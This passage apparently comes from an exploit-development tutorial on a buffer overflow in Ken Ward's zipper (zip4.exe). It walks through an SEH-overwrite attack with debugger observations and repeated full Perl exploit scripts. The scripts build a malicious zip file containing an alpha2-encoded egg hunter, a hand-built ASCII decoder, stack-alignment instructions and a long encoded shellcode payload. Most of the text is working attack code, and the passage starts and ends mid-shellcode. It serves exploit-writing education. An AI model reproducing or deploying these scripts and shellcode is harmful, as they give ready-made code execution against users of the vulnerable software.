"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

Create the zip file, load it in zip4.exe, attach the debugger, trigger the crash. Set a breakpoint at your SEH address and pass the exception. Breakpoint should be hit.

Step through the following instructions :

- let the pop pop ret execute and land at nseh

- the jump back instruction at nseh will execute a jump back to 0x0013F8A2, where our second jump back is located

image

- execute this second jump back, we land at the first popad instruction.

image

- step through all 72 popad instructions. Right after the last popad instruction is executed, our registers and stack look like this :

image

ESP now points at 0x0013F90C.  EIP now sits at 0x0013F884, so that is above the address in ESP. That means that – if we can write to ESP, we might be able to get the reproduced decoded code to execute.

image

The first hurdle is taken.

The next step is to write the custom decoder.  Before we can do that, we need to evaluate/modify the instructions that we want to get produced by the custom decoder.

The initial logic of using the value in ebp to populate edx doesn’t make sense anymore. ebp is now overwritten with 41414141, so we cannot use that address as an offset to the begin of the egg hunter. We need to use something that is dynamically generated, something that is already in the same address range, so we can just add or sub some bytes in order to get to the base address of the egg hunter.

stop and think

 

 

Building the custom decoder

As explained above, we cannot take the value from ebp to build a new value in edx…  But there’s an easy fix for this.  Look at the stack again.

image

The 72 popad instructions made esp point at 0x0013F90C.  The second address on the stack (at 0x0013F910) contains “0x0013F930″, so perhaps we can use that value as base for edx, and do some basic math, in order to make it point at the address of the egg hunter (0x0013F58E).  In fact, if we put 0x0013F930 in edx, we have to subtract 930 bytes (0x3A2) from that value to get to our desired result :

  • sub edx,0x3A2  (\x81\xea\xa2\x03\x00\x00)
  • jmp edx (\xff\xe2)

image_thumb41_thumb[2]

= 8 bytes of opcode

In short, before the custom decoder will run, we need to get the 2nd address from the stack into edx.  Easy : just do 2 pop edx instructions right after the 72 popad’s and we get what we want (0x5a = “Z”).  Each pop instruction will change esp with 4 bytes, but we will still have plenty of space between the end of the custom decoder and the location where the reproduced code will be written to,  to make it work.

Let’s see if our theory works :

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f". 
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00". 
"\x02\x10\x00\x00". 
"\x00\x00";

print "[+] Preparing payload\n";

#alpha2 encoded egg hunter - w00t - basereg EDX
my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA".
"Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW".
"LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $espalign="\x61" x 72;  #make esp happy
my $edxalign="\x5a\x5a";  #make edx happy too
my $filler2 = "A" x (102-length($espalign.$edxalign));
my $jmpback="\x74\xf7";     #jump back 102 bytes - to $espalign
my $filler3 = "A" x (102-length($jmpback));
my $filler1= "A" x ($offset - length($filename.$egghunter.
   $espalign.$edxalign.$filler2.$jmpback.$filler3));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$egghunter.$filler1.
$espalign.$edxalign.$filler2.
$jmpback.$filler3.
$nseh.$seh;

my $shellcode = "w00tw00t".
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

As expected, after the 2 pop edx instructions were executed, edx now contains 0x0013F930.

image

That’s great

stop and think

Does everything still looks fine ?  Are you sure ?

Look at esp too.  Esp now points at 0013F914, and that may be too far.

After all, If our custom decoder reproduces 8 bytes of code, then the first bye of the reproduced 8 byte opcode will be located at  0x0013F914 – 8 = 0013F90C

That will be a problem, because there are a number of instructions (starting at 0013F908) that would prevent these instructions from getting executed.

When the custom decoder finishes, it will simply execute the next instructions (A’s in our case, 0×41 or INC ECX), until it reaches the reproduced code.  As we can see in the CPU view, we have some instructions that would break our execution flow (there’s the jump back, followed by 2 LEAVE instructions… in other words, if the reproduced code is written after those jump back & leave instructions, we would never reach them).

image

So instead of doing 72 popad’s, we’ll just do 71 popads, so ESP would point 32 bytes higher. Of course, we’ll have less space to put our custom decoder, but let’s see if that really is an issue.

Executing only 71 popad’s will change things again :

  • esp will point to another location (closer to the custom decoder, so that’s ok)
  • the stack will look different after 71 popad’s vs  72 popad’s. So we need to rethink/rebuild the code that we need to use to get edx aligned and pointing to the egg hunter (again)

Change the code (change from 72 popad’s to 71 popad’s)

image

After 71 popad’s are executed, (before the pop edx instructions are executed), the stack and registers look like this :

image

Hmmm – the stack contains A’s and some other useless crap, so that’s not going to help. We can no longer take the second value from the stack.  And there is nothing in the useful in the registers either….

stop and think

How can we get a good starting value in edx if there is nothing on the stack, and no registers point to a good value ?

 

Ah well, I lied.  There is a register that can be used.  In fact, we can just use esp.

It points to a usable address, so instead of doing 2 pop edx instructions, we could also put the value from esp into edx (basically do a push esp (0×54 = “T”) and pop edx.)

image_thumb48_thumb[1]

If we execute those 2 instructions after the 71 popad’s, edx contains 0x0013F8EC. In order to get to 0x0013F58E, we have to subtract 862 bytes (0x35E) from edx.

image_thumb50_thumb[2]

ok, so the instructions to reproduce are

  • sub edx,0x35E  (\x81\xea\x5e\x03\x00\x00)
  • jmp edx (\xff\xe2)

(8 bytes of opcode)

The custom decoder that will reproduce those instructions looks like this :

(I already explained how to build this encoder in the QuickZip article part 1 (on the Offensive Security Blog), so I won’t explain it again)

Block 1 : reproducing  0×00 0×00 0xff 0xe2

First, clear eax :

"\x25\x4A\x4D\x4E\x55".  
"\x25\x35\x32\x31\x2A".

Next, set eax to E2FF0000 and push it to the stack

"\x2d\x55\x55\x55\x5F".   
"\x2d\x55\x55\x55\x5F".
"\x2d\x56\x55\x56\x5E".
"\x50"

= 26 bytes of code

 

Block 2 : reproducing 0×81 0xea 0x5e 0×03

First, clear eax :

"\x25\x4A\x4D\x4E\x55".  
"\x25\x35\x32\x31\x2A".

Next, set eax to 035EEA81 and push it to the stack :

"\x2d\x2A\x5A\x35\x54".   
"\x2d\x2A\x5A\x36\x54".
"\x2d\x2B\x61\x35\x54".
"\x50"

= 26 bytes of code

Oh – by the way – in case you are still struggling to build this decoder… pvefindaddr v1.24 (and up) includes a new feature that will produce an ascii encoder for you.

Quick preview :

image

ok, it’s not perfect, because you will have to filter out bad characters yourself (such as 0x5C), but at least this should give you a head start.  

Version 1.26 (and higher) of pvefindaddr will include a basic bad char filter for this decoder and will allow you to specify a file (instead of typing the bytes) that contains the shellcode bytes that need to be wrapped into a decoder too.  Quick demo ?

image

Or, perhaps even better, you will also be able to do this :

(basically generate opcode and encode it right away :-) )

image

(stay tuned – this new version will be released soon)

 

Anyways, back to where we’ve left off…  the total size of the custom decoder is 52 bytes.  

We already used 71 bytes for the popad instructions, and a few more bytes to get something into edx.  That means that we cannot add the custom decoder in this block of 102 bytes ($filler2). 

stop and think

How are you going to structure the payload ?  Where are you going to put the custom encoder ?

 

Let’s find out

 image_thumb2311_thumb[1]

We have to put the custom decoder into the other block of 102 bytes ($filler3), and use the remaining bytes of $filler2 (after the popad’s and edx alignment), to jump to the custom decoder at $filler 3.  (We really have to make that jump forward because $filler3 starts with a jump back. Without the jump forward at $filler2, we would just trigger the jump back at the begin of $filler3 again, and end up in a loop. Kinda nice to see – but pretty useless at the same time).

The jump forward will need to be a short jump forward.  A jump forward of about 32 bytes would be fine.  

Since we have to use a conditional jump (character set limitation, remember ?), we need to look at the state of the flags.

C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)

Zero flag is 1, so we can use 0×74, with an offset of let’s say 0×20  (space, valid character in our buffer).  Let’s put 0×74 0×20 after the push esp / pop edx instructions, and find out where that leads us to  :

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f". 
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00". 
"\x02\x10\x00\x00". 
"\x00\x00";

print "[+] Preparing payload\n";

#alpha2 encoded egg hunter - w00t - basereg EDX
my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA".
"Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW".
"LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $espalign="\x61" x 71;  #make esp happy
#make edx happy + jump to $filler3 (32 bytes forward)
my $edxalign="\x54\x5a\x74\x20";  
my $filler2 = "A" x (102-length($espalign.$edxalign));
my $jmpback="\x74\xf7";     #jump back 102 bytes - to $espalign
my $filler3 = "A" x (102-length($jmpback));
my $filler1= "A" x ($offset - length($filename.$egghunter.
   $espalign.$edxalign.$filler2.$jmpback.$filler3));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$egghunter.$filler1.
$espalign.$edxalign.$filler2.
$jmpback.$filler3.
$nseh.$seh;

my $shellcode = "w00tw00t".
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

After the push esp/pop edx instructions are executed, we see the jump forward, which will properly jump over the jmpback code, and land in $filler3.  So at that location (basically at $filler3 + 3 bytes padding), we can write our custom decoder.

image_thumb1211_thumb[1]

 

Implementing the custom decoder

Let’s try :

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f". 
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00". 
"\x02\x10\x00\x00". 
"\x00\x00";

print "[+] Preparing payload\n";

#alpha2 encoded egg hunter - w00t - basereg EDX
my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA".
"Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW".
"LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $espalign="\x61" x 71;  #make esp happy
#make edx happy + jump to $filler3 (32 bytes forward)
my $edxalign="\x54\x5a\x74\x20";  
my $filler2 = "A" x (102-length($espalign.$edxalign));
my $jmpback="\x74\xf7";     #jump back 102 bytes - to $espalign
my $decoder = "AAA".   #3 bytes padding needed before decoder
"\x25\x4A\x4D\x4E\x55".  
"\x25\x35\x32\x31\x2A".
"\x2d\x55\x55\x55\x5F".   
"\x2d\x55\x55\x55\x5F".
"\x2d\x56\x55\x56\x5E".
"\x50".
"\x25\x4A\x4D\x4E\x55".  
"\x25\x35\x32\x31\x2A".
"\x2d\x2A\x5A\x35\x54".   
"\x2d\x2A\x5A\x36\x54".
"\x2d\x2B\x61\x35\x54".
"\x50";

my $filler3 = "A" x (102-length($jmpback.$decoder));
my $filler1= "A" x ($offset - length($filename.$egghunter.
   $espalign.$edxalign.$filler2.$jmpback.$decoder.$filler3));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$egghunter.$filler1.
$espalign.$edxalign.$filler2.
$jmpback.$decoder.$filler3.
$nseh.$seh;

my $shellcode = "w00tw00t".
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
